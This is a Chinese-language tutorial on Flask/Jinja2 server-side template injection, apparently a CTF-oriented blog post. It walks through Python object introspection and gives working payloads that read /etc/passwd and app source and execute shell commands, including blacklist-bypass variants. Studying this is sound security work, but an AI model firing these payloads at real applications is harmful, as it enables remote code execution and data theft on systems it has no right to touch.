Flask模板注入(一) Flask中使用了Jinja2作为模板渲染引擎,Jinja2会将{{}}
中包裹的内容当作变量解析替换。当服务器接受了用户的输入并将其作为模板的一部分,在渲染的过程中就可能渲染了用户插入的恶意内容,导致敏感信息泄露甚至代码执行。
1、实现模板注入 1.1 基础知识 (1)_class _ 获取当前实例的类对象 1 2 3 4 >>> ''.__class__ <type 'str'> //空字符串是一个实例,对应的类是<type 'str'> >>> [].__class__ <type 'list'> //空列表串是一个实例,对应的类是<type 'list'>
(2)_base _ 获取当前类的一个继承类 1 2 3 4 5 6 >>> [].__class__.__base__ <type 'object'> >>> ''.__class__.__base__ <type 'basestring'> >>> ''.__class__.__base__.__base__ <type 'object'> //在python2.7中大部分类都继承了object类
(3)_mro _ 获取当前类的所有继承类 1 2 3 4 >>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>) >>> [].__class__.__mro__ (<type 'list'>, <type 'object'>)
(4)_subclasses _() 获取当前类的所有继承类列表 1 2 3 4 >>> ''.__class__.__mro__[-1].__subclasses__()[40] <type 'file'> //object的第40个子类 //python2和python3的不同版本在object的子类中有较大不同
(5)_init _ 用于将对象实例化 (6)_dict _ 用于列出当前属性/函数的字典 1 2 3 4 5 >>> object.__subclasses__()[60].__init__.func_globals['linecache'].os <module 'os' from 'D:\python2.7\lib\os.pyc'> >>> object.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'] <module 'os' from 'D:\python2.7\lib\os.pyc'> \\这里感觉没有什么区别
(7) _getitem _ 1 2 3 4 5 6 7 >>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>) >>> ''.__class__.__mro__.__getitem__(1) <type 'basestring'> >>> ''.__class__.__mro__.__getitem__(2) <type 'object'>
(8)func_globals 返回一个包含函数全局变量的字典引用 (9)_globals _ 对保存函数全局变量(定义函数的模块的全局名称空间)的字典的引用。 1.2 实现恶意命令注入 (1)文件读取 在object的所有子类中可以找到file类
1 2 3 4 >>> object.__subclasses__()[40] <type 'file'> >>> ''.__class__.__mro__[-1].__subclasses__()[40] <type 'file'> //object的第40个子类一般为file
故可以进行文件读取
1 2 3 >>> ''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd') >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()
(2)命令执行-方法1 包含os模块的两个类:
1 2 3 >>> object.__subclasses__()[72] <class 'site._Printer'> //这里环境该类位于object的第72个子类。但环境不同位置可能不同 <class 'site.Quitter'> //这里环境该类位于object的第77个子类。但环境不同位置可能不同
实现命令执行的payload
1 2 3 4 5 >>> object.__subclasses__()[72].__init__.__globals__['os'].system('ls') >>> object.__subclasses__()[77].__init__.__globals__['os'].system('ls') //在注入时,直接使用system函数可能导致无回显,故可以使用popen函数 >>> object.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read() >>> object.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()
(3)命令执行-方法2 利用warnings.catch_warnings模块
1 2 >>> object.__subclasses__()[60] <class 'warnings.catch_warnings'> //这里环境该类位于object的第60个子类。但环境不同位置可能不同
实现命令执行
1 >>> object.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()
再补充一些payload
1 2 3 4 5 6 7 >>> object.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['po'+'pen']('whoami').read() 'laptop-91trpmfu\\admin\n' \\利用__dict__可以绕过某些黑名单 >>> object.__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") 'laptop-91trpmfu\\admin\n' \\使用eval
(4)遍历找到catch_warnings的payload 1 2 3 4 //执行命令 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} //读文件 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
2、附录 2.1 一些任意代码执行及读取文件函数 (1)os执行系统命令 1 2 import os os.system('ipconfig')
(2)exec 任意代码执行 1 exec('__import__("os").system("ipconfig")')
(3)eval 任意代码执行 1 eval('__import__("os").system("ipconfig")')
(4)timeit 本是检测性能的,也可以任意代码执行 1 2 import timeit timeit.timeit("__import__('os').system('ipconfig')",number=1)
1 2 import platform platform.popen('ipconfig').read()
(6)subprocess 1 2 import subprocess subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
(7)file 1 file('/etc/passwd').read()
(8)open 1 open('/etc/passwd').read()
(9)codecs 1 2 import codecs codecs.open('/etc/passwd').read()
3、然而……这只是基础 后续会相继补上:
flask模板注入(2)
参考链接 python 模板注入
Flask模板注入
FLASK模板注入(SSTI)
Flask/Jinja2 SSTI && python 沙箱逃逸
还有一个基础而重要的 python _globals , _file